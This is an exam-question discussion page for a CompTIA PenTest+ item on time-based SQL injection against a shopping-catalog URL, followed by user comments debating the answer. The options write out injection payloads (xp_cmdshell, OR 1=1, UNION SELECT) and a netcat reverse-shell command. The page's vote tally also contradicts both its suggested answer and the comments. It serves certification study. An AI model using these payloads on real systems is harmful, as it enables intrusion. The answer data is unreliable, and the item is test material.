exam questions

Exam PT0-002 All Questions

View all questions & answers for the PT0-002 exam

Exam PT0-002 topic 1 question 225 discussion

Actual exam question from CompTIA's PT0-002
Question #: 225
Topic #: 1
[All PT0-002 Questions]

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

http://company.com/catalog.asp?productid=22

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

http://company.com/catalog.asp?productid=22;WAITFOR DELAY'00:00:05'

Which of the following should the penetration tester attempt NEXT?

  • A. http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
  • B. http://company.com/catalog.asp?productid=22' OR 1=1 --
  • C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 --
  • D. http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash
Show Suggested Answer Hide Answer
Suggested Answer: B 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
TKW36
Highly Voted 2 years, 2 months ago
Selected Answer: B
the application is vulnerable to SQL injection by observing the delay when the URL was altered to include a "WAITFOR DELAY" statement. It could either be B or C because both are SQL injection attacks. B is a more common SQL injection attack though so I think a penetration tester would use that one first. I choose B.
upvoted 7 times
2Fish
2 years, 2 months ago
Agreed
upvoted 4 times
...
...
nickwen007
Highly Voted 2 years, 1 month ago
B. http://company.com/catalog.asp?productid=22' OR 1=1 -- is the next attempt the penetration tester should make. By using the OR clause with a value of '1=1', it forces the application to return every record in the database. This technique can be used to check for a vulnerable SQL injection so that the tester can further explore the application to gain more insight into the system. C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -- is not the appropriate next step for the penetration tester. This command will attempt to combine multiple sets of query results into one data set, however, this technique is only effective when an attacker knows the exact number of columns in the query and the types of data that it contains. In this instance, the penetration tester only knows that there is a delay when the page refreshes, and does not have the required knowledge to use the UNION SELECT command effectively.
upvoted 5 times
...
kinny4000
Most Recent 2 months, 3 weeks ago
Selected Answer: C
C. UNION SELECT 1,2,3 -- This is better as it helps the penetration tester find out how many columns are there, which they can then check to see which ones are used for credentials and other sensitive info. The only info you will receive from B. (OR 1=1 --) is all the other productid variables. "WHERE productid=22' OR 1=1 --" will only display all the other products, something thats already available. Since we already know that time based blind SQL injection is possible, we should attempt to exfiltrate sensitive data by selecting columns and inferring through error messages which ones are valid and contain text based data. Tricky question. As a side note, "OR 1=1 --" is normally used to bypass login fields. Can also be used to verify that SQL injection is possible, but we've already established that it is.
upvoted 1 times
...
lj22HI
4 months, 3 weeks ago
Selected Answer: B
B comes before C
upvoted 1 times
...
CCSXorabove
9 months, 1 week ago
Selected Answer: C
The statement is not refer to a login page, so the next step is execute the UNION
upvoted 2 times
...
WANDOOCHOCO
1 year, 3 months ago
Selected Answer: C
' OR 1=1 just returns true. It is used when an attacker wants to login in login page. It has nothing to do with the product page. C returns info of the DB. so C
upvoted 2 times
...
solutionz
1 year, 8 months ago
Selected Answer: C
The observed delay after altering the URL with a "WAITFOR DELAY" command indicates that the input might be processed as a part of an SQL query. This behavior can be indicative of an SQL injection vulnerability. Given this observation, the penetration tester might want to continue testing for SQL injection. Among the options provided, the next logical step to explore would be a UNION-based SQL injection, which can be used to retrieve data from other tables in the database. So, the correct option is: C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 --
upvoted 1 times
...
cy_analyst
2 years, 1 month ago
Selected Answer: D
D attempts to use netcat to establish a reverse shell to the attacker's machine. This is a common technique used in post-exploitation and can provide the attacker with a foothold on the server. Option B attempts to inject a Boolean condition that will always evaluate to true, which may not be useful in this case since it does not provide access to additional data or functionality.
upvoted 1 times
cy_analyst
2 years, 1 month ago
I'm so wrong. C is a logical next step to take advantage of the SQL injection vulnerability identified by the penetration tester. The delay introduced by the injected SQL code suggests that the database is processing the query, and injecting additional SQL code can allow the penetration tester to extract sensitive data from the database.
upvoted 3 times
KingIT_ENG
2 years, 1 month ago
B is correct answer
upvoted 2 times
...
...
...
[Removed]
2 years, 2 months ago
B is corrrrrrrect answer
upvoted 1 times
...
Vikt0r
2 years, 2 months ago
I chose option B over option C because option B is a simpler and more straightforward SQL injection payload that can quickly test for the presence of SQL injection vulnerability. The payload "OR 1=1" will always evaluate to true, which makes it a useful payload for identifying SQL injection vulnerabilities. Option C is also a valid SQL injection payload, but it includes a UNION statement that is used to combine the results of multiple SELECT statements into a single result. While this payload can be used to extract data from the database, it requires a deeper understanding of the database structure and may take more time to craft a successful attack. In general, when testing for SQL injection vulnerabilities, it is a good practice to start with simple payloads like "OR 1=1" or "';--" to quickly identify potential issues, and then progress to more complex payloads if necessary.
upvoted 5 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago